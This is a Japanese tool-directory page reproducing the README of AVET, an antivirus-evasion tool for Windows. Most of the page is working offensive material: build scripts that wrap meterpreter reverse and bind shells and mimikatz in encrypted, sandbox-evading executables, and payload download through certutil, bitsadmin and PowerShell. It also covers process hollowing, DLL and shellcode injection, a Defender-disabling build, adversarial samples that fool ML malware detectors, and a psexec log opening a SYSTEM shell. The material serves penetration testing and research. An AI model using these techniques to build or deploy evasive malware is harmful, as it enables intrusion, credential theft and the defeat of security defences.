Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/govolution/avet
暗号化/復号化ツールエクスプロイトフレームワークペイロード生成IDS/IPS回避シェルコードペネトレーションテスト機械学習論文と研究学習と教育レッドチーミング敵対的攻撃
GitHubgovolution/avet

avet

アンチウイルス回避ツール

リポジトリを見る
1.8k3311年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

アンチウイルス回避ツール

AVETは技術開発および時間的制約により、これ以上開発されません。

AVETは、ペネトレーションテスターの作業を容易にし、アンチウイルス回避技術やマルウェアが使用するその他の手法を実験するために開発されたアンチウイルス回避ツールです。 v2.4の新機能や過去のバージョンアップの概要については、CHANGELOGファイルをご覧ください。

目次

  • インストール

  • Docker

  • 簡単な方法

  • 標準的な方法

  • ドキュメント (クリックして展開)
    • データ取得方法
    • 暗号化とエンコーディング
    • サンドボックス回避
    • 追加コマンド実行
    • ヘルパーツール
    • AVET & metasploit psexec
    • 敵対的サンプル
  • 詳細

主な機能

  • msfpayloadなどで作成した.exeファイルを実行すると、多くの場合アンチウイルスソフトウェアに検出されます。
  • AVETは、実行可能ファイルを使用してWindowsマシンを標的とするアンチウイルス回避ツールです。
  • 現在はさまざまな入力ペイロードを使用可能:シェルコード、exe、dll
  • より多くの技術が利用可能:シェルコード/DLLインジェクション、プロセスハロウイングなど
  • ペイロード、復号キーなどの柔軟な取得方法
  • ドロッパーとしての使用
  • 必要に応じてAVETの複数回の反復を連鎖させることで、複数の回避レイヤーを追加可能
  • 技術の組み合わせ:Powershell経由で暗号化されたペイロードをダウンロードし、実行時にコマンドライン引数で復号キーを指定、最後に複数の技術から選択してペイロードを別のプロセスにインジェクション
  • 基本的なサンドボックスチェック
  • 機械学習に基づく静的検出器に対する敵対的サンプルの生成
  • build_script_tester.pyを使用してすべての利用可能なビルドスクリプトを実行。さまざまな回避およびインジェクション技術を使用した「悪意のある」サンプルセットの構築に、研究者にとっても興味深い可能性がある。

重要な注意

すべての技術がすべてのAVエンジンを回避できるわけではありません。ある技術やビルドスクリプトが機能しない場合は、別のものをテストしてください。 ぜひ実験してください! 結局のところ、これはツールボックスです - しかし、ハンマーを振るうのはあなた自身です。

インストール

インストール手順はKali 64bitおよびtdm-gccに適用されます!

セットアップスクリプトを使用できます:```bash ./setup.sh

root@kitploit:~
これにより、wineのインストール/設定とtdm-gccのインストールが自動的に開始されるはずです。
ただし、すぐにtdm-gccインストーラのGUIを通じてクリックする必要があります。標準設定で問題ありません。
スクリプトは、一部のビルドスクリプトを使用するために必要なAVETの依存関係をインストールするかどうかも尋ねます。取得された依存関係は、avetフォルダの隣に別のフォルダに配置されます。

依存関係は以下の最新リリースを取得します。
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)


何らかの理由でwineとtdm-gccを手動でインストールしたい場合:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

Kaliを使用していない場合や、システムにMetasploitをインストールしたくない場合は、代わりにDockerコンテナを使用できます。
コンテナはMetasploitとavetをカプセル化し、サンプルは現在のディレクトリに作成されます。
geditのようなグラフィカルなテキストエディタを使用することも可能です。

コンテナのビルド:```bash
sudo docker build -t avet:v0.1 .

使用方法:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

root@kitploit:~
より良い体験のために、これをエイリアスすることをお勧めします。```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVETの簡単な方法

avet.py は、このツールの使用を支援するために設計された小さなPythonユーティリティです。

ビルドフォルダに現在存在するすべてのスクリプトを一覧表示します。1つ選択すると、スクリプトを一行ずつ実行しながら、その場で内容を変更することができます。

後者は特に便利で、fabricを介してビルドスクリプトを実行するたびに、msfvenom用の新しいLHOST変数とLPORT変数を定義できます。 デフォルトのLHOSTとLPORTの値は /build/global_connect_config.sh ファイルで定義でき、再定義しない場合はそれらが使用されます。

これらの変更は一時的なもので、行った変更はディスク上のビルドスクリプトに保存されません。 変更されたバージョンが一度実行され、実行可能ファイルが作成されます。

ここに簡単な例を示します(クリックして展開):``` python3 avet.py
root@kitploit:~
                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

Which Script would you like to configure and build? Enter the corresponding number -> 43

DESCRIPTION :

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

Configure the Build Script

enable debug output

-> enable_debug_print

generate key file with preset key

-> generate_key preset aabbccdd1122

Do you want to add sandbox evasions? [y/N] -> N

Executable will be created Shortly please wait.

*** ============================================= ***

root@kitploit:~
     .==,_                                          
    .===,_`\\                                        
  .====,_ ` \\      .====,__                         

--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /


|\ __ |\ \ / /|\ \ |_ \ \ \ |\ \ \ \ / / | \ _ |__|\ _| \ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _
\ \ \ \ _\ _\ _/ / \ _\ \ __
|
|||||/ |___| ||

*** ============================================= ***

Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Your executable should be in the output folder!

root@kitploit:~
</details>

## AVETの通常の使用方法

もちろん、すべてのコマンドをコマンドラインからステップバイステップで実行することも可能です。ただし、"build" フォルダには、関連するユースケース向けに事前設定されたビルドスクリプトが用意されています。ビルドスクリプト自体は、avet ディレクトリ内から呼び出されるように記述されています。```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh

/build/global_connect_config.sh ファイル内で metasploit ペイロードのデフォルトの LHOST および LPORT 値を定義できます。これらは再定義しない場合に使用されます。

使用例

2つのステップで32ビットプロセスハロウイング実行可能ファイルを生成します(build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.shの場合):

  • meterpreter/reverse_https 32ビットシェルコードを生成
  • meterpreterシェルコードは5バイトのプリセットキーでXOR暗号化されます
  • シェルコードは生成された実行可能ファイルにコンパイルされます
  • シェルコードを実行する前に、fopenおよびgethostbynameサンドボックス回避の環境チェックが行われます

次に、ハロウイングを介して最初のステップのペイロードを配信する「ドロッパー」実行可能ファイルをビルドします:

  • 最初のステップのペイロードを実行可能ファイルに静的コンパイル
  • ペイロードは別の5バイトのプリセットキーでXOR暗号化されます
  • 再び、ハロウイング前にfopenおよびgethostbynameサンドボックス回避の環境チェックが行われます
  • ハロウイング対象のPIDは実行時にコマンドライン引数で指定されます

これにより、2層の環境チェックと暗号化が施されたmeterpreterペイロードが得られ、任意のプロセスにハロウイングされます。 ビルドスクリプトの設定は主にデモンストレーション目的ですが、ビルドスクリプトに簡単な変更を加えることで、生成された実行可能ファイルを柔軟にカスタマイズできます。

データ取得方法を切り替えることもできます:ほとんどのデータを実行可能ファイルに静的コンパイルする代わりに、powershellを介してハロウイングペイロードをダウンロードしたり、ソケットを介して復号化キーをダウンロードしたり、異なる暗号化や環境チェックを使用したりできます。

または、3回目のビルドイテレーションでさらなる回避層を追加してみてください。 またはペイロードを切り替えます。代わりにMimikatzを使用しますか? https://github.com/hasherezade/pe_to_shellcode を介してシェルコードに変換し、ビルドスクリプト内のペイロードを変更してください。

もちろん、よりミニマルなビルドを設計することもできます。1つの環境チェックのみで暗号化されていないシェルコードを実行する、あるいはshikataの50回の反復で目的を達成できるかもしれません? ニーズに合わせてビルドスクリプトを選択/変更してください。

ビルドスクリプト

以下に、現在同梱されているすべてのビルドスクリプトのリストを示します。名前は各スクリプトの機能を示唆しています。 詳細については、スクリプト内のコメントを参照してください。 カスタム実行可能ファイルをビルドするために、独自のビルドスクリプトを自由に変更/作成してください!

クリックして展開 ``` build_40xshikata_revhttpsunstaged_win32.sh build_50xshikata_revhttps_win32.sh build_50xshikata_quiet_revhttps_win32.sh build_asciimsf_fromcmd_revhttps_win32.sh build_asciimsf_revhttps_win32.sh build_avetenc_dynamicfromfile_revhttps_win32.sh build_avetenc_fopen_revhttps_win32.sh build_avetenc_mtrprtrxor_revhttps_win64.sh build_calcfromcmd_50xshikata_revhttps_win32.sh build_calcfrompowersh_50xshikata_revhttps_win32.sh build_cpucores_revhttps_win32.sh build_checkdomain_rc4_mimikatz.sh build_disablewindefpsh_xorfromcmd_revhttps_win64.sh build_dkmc_downloadexecshc_revhttps_win32.sh build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh build_downloadbitsadmin_revhttps_win32.sh build_downloadcertutil_revhttps_win32.sh build_downloadcurl_mtrprtrxor_revhttps_win64.sh build_downloadiexplorer_revhttps_win32.sh build_downloadpsh_revhttps_win32.sh build_downloadsocket_mtrprtrxor_revhttps_win64.sh build_downloadsocket_revhttps_win32.sh build_dynamicfromfile_revhttps_win32.sh build_fibonacci_rc4_mimikatz.sh build_fopen_mtrprtrxor_revhttps_win64.sh build_fopen_quiet_revhttps_win32.sh build_fopen_revhttps_win32.sh build_getchar_rc4_mimikatz.sh build_gethostbyname_revhttps_win32.sh build_hasvmkey_revhttps_win32.sh build_hasvmmac_revtcp_win32.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh build_kaspersky_fopen_shellrevtcp_win32.sh build_mimikatz_pe2shc_xorfromcmd_win64.sh build_pause_rc4_mimikatz.sh build_rc4_interactive_pwsh_mimikatz_win64.sh build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh build_rc4enc_mimikatz_win64.sh build_sleep_rc4_mimikatz.sh build_sleepbyping_rc4_mimikatz.sh build_timedfibonacci_rc4_mimikatz.sh buildsvc_20xshikata_bindtcp_win32.sh ```

ドキュメント

データ取得方法

これらのメソッドはAVETのすべてのデータソースと互換性があり、ビルドスクリプトでそのまま使用できます。

いくつかの例:```

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd

Download 64-bit shellcode via powershell, and execute.

set_payload_source download_powershell set_payload_execution_method exec_shellcode64

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

set_key_source download_socket set_decoder xor

Retrieves the tuple (target PID, dll path) from command line on execution

set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll

root@kitploit:~
機能がスキップ/使用されない場合、代わりにNOPのような動作を指定する必要があります:```
set_command_source no_data
set_command_exec no_command

static_from_file

データはファイルから取得され、生成された実行可能ファイルに静的にコンパイルされます。 これが機能するには、データはコンパイル時にCスタイルの配列として提供される必要があります、例えば``` unsigned char buf[] = "\x00\x11\x22\x33";

root@kitploit:~
#### static_from_here
データはビルドスクリプトで指定された引数から取得され、生成された実行ファイルに静的にコンパイルされます。

#### dynamic_from_file
データは実行時にファイルから読み込まれます。

#### from_command_line_hex
コマンドラインから "11aabb22.." 形式の16進数文字列としてデータを取得します。

#### from_command_line_raw
コマンドライン引数からデータを取得します。指定されたASCII文字列は生のバイトデータとして解釈されます。

#### download_certutil
```certutil.exe -urlcache -split -f``` を使用して、指定されたURIからデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。

#### download_curl
curlを使用してデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。

#### download_internet_explorer
Internet Explorerを使用して、指定されたURLからデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。

#### download_powershell
PowerShellを介して指定されたURIからデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。

#### download_socket
ソケットを使用して、指定されたURIからデータをダウンロードします。
データはメモリに直接読み込まれ、ファイルはディスクに保存されません。

#### download_bitsadmin
BITSAdmin Windowsユーティリティを使用してデータをダウンロードします。
データを読み取る前に、ダウンロードしたファイルをディスクに保存します。

### ペイロード実行方法
ペイロードの実行/配信方法。インジェクション/ホローイング方式では、インジェクションターゲットに関する追加情報が必要です。これは ```set_payload_info_source <the_info>``` で指定できます(データ取得方法を参照)。

#### exec_shellcode
C関数バインディングを使用して32ビットシェルコードを実行します。

#### exec_shellcode64
C関数バインディングとVirtualProtectを使用して64ビットシェルコードを実行します。

#### exec_shellcode_ASCIIMSF
```call eax``` を使用してASCIIMSFエンコードされたシェルコードを実行します。

#### hollowing32
新しいプロセスを開始し、元のイメージを切り取り、指定されたペイロードを新しいプロセスにホローイングします。
ペイロードは32ビット実行可能イメージです。32ビットターゲットで動作します。

#### hollowing64
hollowing32と同様ですが、64ビットターゲットプロセスには64ビットPEペイロードを使用します。

#### inject_dll
```CreateRemoteThread``` を使用して、ターゲットプロセスにDLLをインジェクションします。
32ビットペイロードは32ビットプロセスに、64ビットペイロードは64ビットプロセスにそれぞれインジェクションされます。

#### inject_shellcode
```CreateRemoteThread``` を使用して、ターゲットプロセスにシェルコードをインジェクションします。
32ビットシェルコードは32ビットプロセスに、64ビットシェルコードは64ビットプロセスにそれぞれインジェクションされます。

### 暗号化とエンコーディング
AVETは各方式に対応したエンコーダを提供しており、コンパイル/配信前にペイロードに適用できます。
実行時には、指定されたデコーダがペイロードを再度難読化解除します。

以下はRC4の例で、実行時にコマンドラインから16進数形式で復号キーを取得します。```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4

また、シェルコードをさらにエンコードせずにエンコード機能をスキップし、次のように設定することもできます:``` set_key_source no_data set_decoder none

root@kitploit:~
#### xor
ローリングXOR。マルチバイトキーをサポート。

#### avet
カスタムエンコーディング。ASCII形式を再解釈。

#### rc4
RC4暗号化/復号。柔軟なキー長。

### デバッガーおよびサンドボックス回避
これらは、最終的なエンコードとペイロード実行の前に行われる環境チェックです。
好ましくない実行環境(例:AVサンドボックス)が検出された場合、実行は停止します。

現在、最大10個のチェックを任意にキューに入れることができます。同じ手法を複数回使用することもサポートされています。
キュー制限の*EVASION_ARRAY_SIZE*は、*avet.c*内で簡単に変更できます。

#### is debugger present
isDebuggerPresent() 関数を使用して、デバッガーが存在するかチェックします。
真の場合は終了します。```
add_evasion is_debugger_present

sleep

実行前に一定時間スリープします。継続時間(秒)はビルドスクリプトで指定できます。のように```

sleep for 3 seconds

add_evasion evasion_by_sleep 3

root@kitploit:~
#### pingによるスリープ
localhostに対してタイミング指定のpingコマンドを呼び出すことで、指定された秒数だけプログラムの実行を停止します。プログラムは毎秒pingを実行します。```
add_evasion sleep_by_ping 4

fast forwarding の確認

サンドボックスがヒューリスティックチェック時間を短縮するために fast forwarding を利用しているか確認します。ローカル時間と sleep が使用されます。``` add_evasion check_fast_forwarding

root@kitploit:~
#### get tickcount
サンドボックスがヒューリスティックチェック時間を短縮するために高速フォワーディングを利用しているかどうかを確認します。稼働時間とスリープが使用されています。```
add_evasion get_tickcount

ユーザー名

ユーザー名を取得し、与えられたユーザー名と比較します。一致しない場合は終了します。``` add_evasion has_username 'IEUser'

root@kitploit:~
#### メッセージボックス
実行前にシンプルなメッセージボックスを表示します。算術問題が正しく解かれない場合、プログラムは終了します。```
add_evasion interaction_msg_box

getchar

getcharを使用して入力が届くまで待機します。``` add_evasion interaction_getchar

root@kitploit:~
#### system pause
system("pause") を実行し、起動された cmd(およびメインプロセス)を任意のキー押下で待機させます。```
add_evasion interaction_system_pause

fopen

ファイルの存在を確認します。見つからない場合は実行を停止します。 ファイル名はビルドスクリプトで次のように指定できます。``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'

root@kitploit:~
#### bios info
SMBIOSファームウェアテーブルを取得できるか確認します。できない場合は実行を停止します。```
add_evasion get_bios_info

gethostbyname

任意のホスト名の解決を試みます。gethostbynameがNULL以外を返した場合、実行を停止します。 確認対象のホスト名は、ビルドスクリプトで、例えば、``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'

root@kitploit:~
#### get_cpu_cores
ターゲット上のCPUコア数を確認します。指定された値よりも数が少ない場合、実行を停止します。```
add_evasion get_cpu_cores 2

has_vm_mac

ベンダー固有のMACプレフィックスを確認します。識別された場合は、実行を停止します。``` add_evasion has_vm_mac

root@kitploit:~
#### has_vm_regkey
ベンダー固有のレジストリキーをチェックします。何か見つかった場合は、実行を停止します。```
add_evasion has_vm_regkey

hide_console

実際には回避技術ではありませんが、コンソールウィンドウを非表示にします ;)``` add_evasion hide_console

root@kitploit:~
#### インストール日
Windowsのインストール日を取得し、指定された日付と比較します。日付が一致しない場合は実行を停止します。日付はdd/mm/yyyyの形式で指定する必要があります。```
add_evasion get_install_date '24/11/2007'

プロセス数

実行中のプロセス数をカウントします。プロセス数が指定されたしきい値より小さい場合、実行を停止します。``` add_evasion get_num_processes 50

root@kitploit:~
#### 標準ブラウザ
レジストリキーを読み取り、デフォルトブラウザを取得する。ブラウザが指定された値と一致しない場合、実行を停止する。可能な値は MSEdgeHTM、Firefox または ChromeHTML です。```
add_evasion get_standard_browser 'Firefox'

ドメイン

対象が属するDNSドメインをクエリします。 指定された期待するドメインに対象が存在しない場合、プログラムは終了します。``` add_evasion get_computer_domain 'domain.com'

root@kitploit:~
#### 計算
Fibonacci

指定された反復回数のフィボナッチ数列を計算します。
整数の制限により、nが大きいと誤った結果を生成する可能性があります。```
# 10 iterations
add_evasion computation_fibonacci 10

時間制限付きフィボナッチ

おおよそ指定された秒数後にフィボナッチ計算を停止します。```

Stops computation after 20 seconds

add_evasion computation_timed_fibonacci 20

root@kitploit:~
#### フォルダなど
アーティファクトが存在するか確認し、存在しない場合は実行を停止します。パスはUnix形式である必要があります。

背景の壁紙:```
add_evasion has_background_wp

フォルダを確認してください:``` add_evasion has_folder 'C:/Users/user/Downloads/'

root@kitploit:~
公開デスクトップを確認する:```
add_evasion has_public_desktop

ごみ箱の確認``` add_evasion has_recycle_bin

root@kitploit:~
最近のファイルフォルダを確認```
add_evasion has_recent_files

ネットワークドライブを確認する``` add_evasion has_network_drive

root@kitploit:~
### 追加のコマンド実行
最終的なサンドボックス回避機能の直後に、追加のcmd/powershellペイロードを実行する機能を提供します。
ペイロードソースはAVETのデータ取得メソッドと互換性があります。

次の例では、BITSAdminを介してpowershellペイロードをダウンロードします:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell

Helper tools

data_raw_to_c

ファイルから生データを入力として受け取り、C配列形式に変換し、別のファイルに出力を書き込みます。 これは、static_from_fileデータ取得メソッドに正しい形式を提供するのに役立ちます。

generate_key

鍵生成ユーティリティ。(暗号学的ではない)ランダム鍵を生成するか、事前設定された鍵を入力として受け取り、 生の鍵データを指定されたファイルに出力します。 これは、AVET暗号化機能に鍵素材を提供するのに役立ちます。

sh_format

AVET 1.3のユーティリティで、AVETエンコーディングを実行します。

AVET & metasploit psexec

AVETはmetasploitのpsexecモジュールと互換性があります。そのためには、生成された実行可能ファイルをWindowsサービスとしてコンパイルする必要があり、これはavetsvc.cを使用して実装されています。対応するビルドスクリプトの例を考えてみましょう

build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash

Designed for use with msf psexec module!

print AVET logo

cat banner.txt

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

. build/global_win32.sh

import global default lhost and lport values from build/global_connect_config.sh

. build/global_connect_config.sh

override connect-back settings here, if necessary

LPORT=$GLOBAL_LPORT

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt

import feature construction interface

. build/feature_construction.sh

add evasion techniques

add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'

generate key file

generate_key preset aabbcc12de input/key_raw.txt

encode shellcode

encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt

array name buf is expected by static_from_file retrieval method

./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf

no command preexec

set_command_source no_data set_command_exec no_command

set shellcode source

set_payload_source static_from_file input/scenc_c.txt

convert generated key from raw to C into array "key"

./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key

set key source

set_key_source static_from_file input/key_c.txt

set payload info source

set_payload_info_source no_data

set decoder

set_decoder xor

set shellcode binding technique

set_payload_execution_method exec_shellcode

enable debug printing

enable_debug_print to_file C:/avetdbg.txt

compile as service

$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe

cleanup

cleanup_techniques

root@kitploit:~
そして、metasploit側では:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run

[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200

msf exploit(psexec) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)

msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows

敵対的サンプル

敵対的サンプルとは、機械学習モデルを誤分類させるために特別に作成された入力です。

この手法を使用するには、仮想環境を作成し、requirements.txt から必要な依存関係をインストールしてください。

実用的な操作

PEファイルに対して利用可能な、機能を保持する5つの操作は以下の通りです:

実用的な操作

ランダムバイトが注入されたマルウェアに実用的な操作を適用するには、gen_adversarial_exe コマンドの後に、実行する操作名とファイルへのパスをパラメータとして指定します。 利用可能な操作は full_dos、extend、shift、padding、section_injection です。

例:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe

root@kitploit:~
### 遺伝的最適化
ランダムなコンテンツを注入する代わりに、コンテンツを最適化して回避の確率を高めることが可能です。
オプティマイザは、グッドウェアから良性のセクションを抽出し、遺伝的アルゴリズムを使用して注入するコンテンツを最適化します。
コンテンツは、畳み込みニューラルネットワークに基づく静的機械学習検出器であるMalConvに対して最適化されます。
使用されているMalConvの実装は、[SecML Malware](https://github.com/pralab/secml_malware)ライブラリからのものです。

グッドウェアが必要であり、`input/goodware_samples`フォルダに配置する必要があります。
例えば、[DikeDataset](https://github.com/iosifache/DikeDataset)は良性の実行可能ファイルを入手するのに良いソースです。多ければ多いほど良いですが、テスト目的では100で十分です。

オプティマイザを使用するには、`$genetic_optimizer`コマンドを使用します。```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe

可能なオプション:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection

root@kitploit:~
敵対的サンプル、遺伝的最適化およびMalConvの詳細はこちらをご覧ください:
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)

## 詳細
---

アンチウイルス回避の基本、AVET、その他の情報についてはこちらをご覧ください(主にバージョン1.3向け):
